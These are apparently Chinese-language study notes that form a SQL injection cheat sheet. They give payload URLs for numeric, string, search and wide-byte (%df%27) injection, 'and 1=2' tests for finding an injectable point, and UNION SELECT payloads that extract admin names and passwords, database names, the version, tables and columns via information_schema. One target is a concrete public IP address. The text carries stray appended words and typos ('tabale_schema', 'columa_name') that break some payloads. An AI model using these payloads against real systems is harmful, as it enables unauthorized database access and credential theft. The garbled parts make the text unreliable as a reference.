http://127.0.0.1/day6/1.php?id=1 union select 1,name,pass from admin 数字型
数字型不用特地加字符,直接 and1=2检测是否有注入点;php
http://127.0.0.1/day6/1.php?key=-test' union select 1,name,pass from admin --+ 字符型
字符型须要在'xx--+ 中间输入命令,' and 1=2 --+ 检测是否有注入点;sql
http://127.0.0.1/day6/2.php?keyword=test %' order by 3 --+ 搜索型
搜索型须要在 %'xx --+ 中间输入命令,%' and 1=2 --+ 检测是否有注入点;数据库
http://103.238.227.13:10083/?id=1 %df%27 union select 1,schema_name from information_schema.schemata %23 查询数据库
宽字节型须要在 %df%27 xx %23中间输入命令,%df%27 and 1=2 %23 检测是否有注入点,查询列表值得时候’‘要用 0x十六进值 代替;code
查询数据库orm
http://xxxxxx? union select null,schema_name,null from information_schema.schemata
查询当前数据库:io
http://xxxxxx? union select 1,database(),null
查询当前版本信息:table
http://xxxxxx? union select 1,user,@@version,null
查询数据表:form
http://xxxxxx? union select null,table_name,null from information_schema.tables where table_schema='xxx'
查询数据字段:test
http://xxxxxx? union select null,group_concat(column_name),null from information_schema.columns where tabale_schema='xxx' and table_name='xxxx'
查询详细信息:select
http://xxxxxx? union select null,column_name,null from schema_name.columa_name